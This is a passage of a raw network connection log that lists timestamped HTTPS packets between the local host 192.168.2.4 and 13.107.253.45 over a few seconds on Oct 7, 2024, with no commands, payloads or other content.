Oct 7, 2024 18:01:23.714852095 CEST	443	60330	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.714900970 CEST	443	60330	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.714939117 CEST	60330	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.714970112 CEST	60330	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.715048075 CEST	60330	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.715065002 CEST	443	60330	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.715076923 CEST	60330	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.715084076 CEST	443	60330	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.717848063 CEST	60335	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.717926025 CEST	443	60335	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.718017101 CEST	60335	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.718266010 CEST	60335	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.718293905 CEST	443	60335	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.730128050 CEST	443	60331	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.730292082 CEST	443	60331	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.730367899 CEST	60331	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.730489969 CEST	60331	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.730510950 CEST	443	60331	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.730545998 CEST	60331	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.730554104 CEST	443	60331	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.733038902 CEST	60336	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.733086109 CEST	443	60336	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.733161926 CEST	60336	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.733326912 CEST	60336	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.733345032 CEST	443	60336	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.781976938 CEST	443	60332	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.782152891 CEST	443	60332	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.782244921 CEST	60332	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.782270908 CEST	443	60332	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.782303095 CEST	443	60332	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.782368898 CEST	60332	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.782502890 CEST	60332	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.782526016 CEST	443	60332	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.782566071 CEST	60332	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.782581091 CEST	443	60332	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.785408020 CEST	60337	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.785442114 CEST	443	60337	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:23.785531998 CEST	60337	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.785680056 CEST	60337	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:23.785698891 CEST	443	60337	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.366847992 CEST	443	60335	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.367680073 CEST	60335	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.367748022 CEST	443	60335	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.368364096 CEST	60335	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.368379116 CEST	443	60335	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.389256001 CEST	443	60333	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.389415026 CEST	443	60334	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.389906883 CEST	60333	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.389919996 CEST	443	60333	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.390347958 CEST	60333	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.390352964 CEST	443	60333	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.390572071 CEST	60334	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.390579939 CEST	443	60334	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.390918016 CEST	60334	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.390923977 CEST	443	60334	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.411295891 CEST	443	60336	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.411851883 CEST	60336	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.411874056 CEST	443	60336	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.412327051 CEST	60336	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.412333012 CEST	443	60336	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.485516071 CEST	443	60335	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.485701084 CEST	443	60335	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.485984087 CEST	60335	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.485984087 CEST	60335	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.486074924 CEST	60335	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.486115932 CEST	443	60335	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.489221096 CEST	60338	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.489304066 CEST	443	60338	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.489434004 CEST	60338	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.489602089 CEST	60338	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.489624023 CEST	443	60338	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.492719889 CEST	443	60337	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.493275881 CEST	60337	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.493284941 CEST	443	60337	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.493961096 CEST	60337	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.493967056 CEST	443	60337	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.494402885 CEST	443	60333	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.494569063 CEST	443	60333	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.494664907 CEST	60333	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.494709015 CEST	60333	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.494728088 CEST	443	60333	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.494736910 CEST	60333	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.494744062 CEST	443	60333	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.496098995 CEST	443	60334	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.496578932 CEST	443	60334	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.496679068 CEST	60334	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.496872902 CEST	60334	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.496876955 CEST	443	60334	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.496886015 CEST	60334	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.496890068 CEST	443	60334	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.497445107 CEST	60339	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.497492075 CEST	443	60339	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.497580051 CEST	60339	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.497709036 CEST	60339	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.497725964 CEST	443	60339	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.499437094 CEST	60340	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.499463081 CEST	443	60340	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.499547958 CEST	60340	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.499722004 CEST	60340	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.499733925 CEST	443	60340	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.520407915 CEST	443	60336	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.520479918 CEST	443	60336	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.520576000 CEST	443	60336	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.520651102 CEST	60336	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.520766973 CEST	60336	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.520780087 CEST	443	60336	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.520798922 CEST	60336	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.520804882 CEST	443	60336	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.523366928 CEST	60341	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.523413897 CEST	443	60341	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.523502111 CEST	60341	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.523678064 CEST	60341	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.523715973 CEST	443	60341	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.598449945 CEST	443	60337	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.598619938 CEST	443	60337	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.598696947 CEST	60337	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.598905087 CEST	60337	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.598921061 CEST	443	60337	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.598932028 CEST	60337	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.598937035 CEST	443	60337	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.601445913 CEST	60342	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.601480007 CEST	443	60342	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:24.601577044 CEST	60342	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.601701975 CEST	60342	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:24.601718903 CEST	443	60342	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.142391920 CEST	443	60338	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.143038034 CEST	60338	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.143055916 CEST	443	60338	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.143491983 CEST	60338	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.143496990 CEST	443	60338	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.149682045 CEST	443	60339	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.150087118 CEST	60339	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.150111914 CEST	443	60339	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.150454044 CEST	60339	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.150460958 CEST	443	60339	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.153247118 CEST	443	60341	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.153594971 CEST	60341	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.153624058 CEST	443	60341	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.153996944 CEST	60341	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.154004097 CEST	443	60341	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.158994913 CEST	443	60340	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.159333944 CEST	60340	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.159351110 CEST	443	60340	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.159776926 CEST	60340	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.159782887 CEST	443	60340	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.230556011 CEST	443	60342	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.231158972 CEST	60342	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.231177092 CEST	443	60342	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.231868029 CEST	60342	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.231873035 CEST	443	60342	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.251678944 CEST	443	60338	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.252077103 CEST	443	60338	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.252134085 CEST	60338	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.252192974 CEST	60338	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.252213001 CEST	443	60338	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.252223015 CEST	60338	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.252228975 CEST	443	60338	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.254769087 CEST	60343	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.254803896 CEST	443	60343	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.254878044 CEST	60343	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.255004883 CEST	60343	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.255012989 CEST	443	60343	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.261071920 CEST	443	60341	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.261234045 CEST	443	60341	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.261306047 CEST	60341	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.261351109 CEST	60341	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.261374950 CEST	443	60341	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.261388063 CEST	60341	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.261395931 CEST	443	60341	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.261512995 CEST	443	60339	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.261564970 CEST	443	60339	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.261611938 CEST	60339	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.261786938 CEST	60339	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.261807919 CEST	443	60339	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.261828899 CEST	60339	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.261836052 CEST	443	60339	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.263946056 CEST	60344	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.263979912 CEST	443	60344	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.264034033 CEST	60344	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.264242887 CEST	60344	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.264261007 CEST	443	60344	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.264507055 CEST	60345	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.264574051 CEST	443	60345	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.264647961 CEST	60345	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.264797926 CEST	60345	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.264828920 CEST	443	60345	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.267478943 CEST	443	60340	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.267513990 CEST	443	60340	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.267565012 CEST	60340	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.267579079 CEST	443	60340	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.267608881 CEST	443	60340	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.267648935 CEST	60340	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.267693043 CEST	60340	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.267702103 CEST	443	60340	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.267713070 CEST	60340	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.267716885 CEST	443	60340	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.269753933 CEST	60346	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.269777060 CEST	443	60346	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.269849062 CEST	60346	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.269962072 CEST	60346	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.269988060 CEST	443	60346	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.370193958 CEST	443	60342	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.370265961 CEST	443	60342	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.370342016 CEST	60342	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.370383978 CEST	443	60342	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.370418072 CEST	443	60342	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.370469093 CEST	60342	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.370615005 CEST	60342	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.370641947 CEST	443	60342	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.370665073 CEST	60342	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.370677948 CEST	443	60342	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.373414993 CEST	60347	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.373450994 CEST	443	60347	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.373528004 CEST	60347	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.373697042 CEST	60347	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.373713970 CEST	443	60347	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.885324955 CEST	443	60343	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.885845900 CEST	60343	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.885864019 CEST	443	60343	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.886451006 CEST	60343	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.886456013 CEST	443	60343	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.920663118 CEST	443	60344	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.921169996 CEST	60344	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.921195030 CEST	443	60344	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.921699047 CEST	60344	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.921705961 CEST	443	60344	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.936084032 CEST	443	60346	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.936570883 CEST	60346	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.936624050 CEST	443	60346	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.936983109 CEST	60346	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.936997890 CEST	443	60346	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.941190958 CEST	443	60345	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.941574097 CEST	60345	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.941602945 CEST	443	60345	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:25.942121029 CEST	60345	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:25.942131042 CEST	443	60345	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.001255035 CEST	443	60343	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.001912117 CEST	443	60343	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.001981020 CEST	60343	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.002026081 CEST	60343	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.002043009 CEST	443	60343	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.002077103 CEST	60343	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.002085924 CEST	443	60343	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.004609108 CEST	60348	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.004648924 CEST	443	60348	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.004729033 CEST	60348	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.004909992 CEST	60348	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.004926920 CEST	443	60348	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.010725975 CEST	443	60347	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.011188984 CEST	60347	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.011203051 CEST	443	60347	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.011600018 CEST	60347	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.011605978 CEST	443	60347	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.029433966 CEST	443	60344	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.029476881 CEST	443	60344	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.029541969 CEST	60344	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.029839039 CEST	60344	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.029855013 CEST	443	60344	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.029865026 CEST	60344	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.029869080 CEST	443	60344	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.034739017 CEST	60349	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.034765005 CEST	443	60349	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.034840107 CEST	60349	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.035407066 CEST	60349	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.035417080 CEST	443	60349	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.048264980 CEST	443	60346	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.048300028 CEST	443	60346	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.048360109 CEST	443	60346	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.048383951 CEST	60346	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.048419952 CEST	60346	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.050081015 CEST	60346	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.050081015 CEST	60346	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.050113916 CEST	443	60346	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.050137997 CEST	443	60346	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.052730083 CEST	60350	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.052738905 CEST	443	60350	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.052922964 CEST	60350	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.052922964 CEST	60350	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.052941084 CEST	443	60350	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.053083897 CEST	443	60345	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.055010080 CEST	443	60345	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.055067062 CEST	60345	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.055102110 CEST	60345	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.055102110 CEST	60345	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.055118084 CEST	443	60345	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.055136919 CEST	443	60345	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.057303905 CEST	60351	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.057351112 CEST	443	60351	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.057430983 CEST	60351	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.057576895 CEST	60351	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.057594061 CEST	443	60351	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.119586945 CEST	443	60347	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.119642019 CEST	443	60347	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.119743109 CEST	60347	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.119976997 CEST	60347	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.119996071 CEST	443	60347	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.120004892 CEST	60347	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.120011091 CEST	443	60347	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.123225927 CEST	60352	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.123251915 CEST	443	60352	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.123317957 CEST	60352	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.123447895 CEST	60352	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.123459101 CEST	443	60352	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.886873007 CEST	443	60352	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.887631893 CEST	60352	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.887677908 CEST	443	60352	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.887955904 CEST	60352	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.887964964 CEST	443	60352	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.925431013 CEST	443	60349	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.925806999 CEST	443	60348	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.926182032 CEST	60348	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.926211119 CEST	443	60348	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.926265001 CEST	60349	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.926281929 CEST	443	60349	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.926543951 CEST	60348	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.926551104 CEST	443	60348	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.926670074 CEST	60349	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.926677942 CEST	443	60349	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.927459002 CEST	443	60351	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.927814007 CEST	60351	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.927823067 CEST	443	60351	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.928119898 CEST	60351	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.928124905 CEST	443	60351	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.938911915 CEST	443	60350	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.939552069 CEST	60350	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.939565897 CEST	443	60350	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:26.940119982 CEST	60350	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:26.940126896 CEST	443	60350	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.011037111 CEST	443	60352	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.013797998 CEST	443	60352	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:27.013844967 CEST	60352	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.013891935 CEST	60352	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:27.013911009 CEST	443	60352	13.107.253.45	192.168.2.4
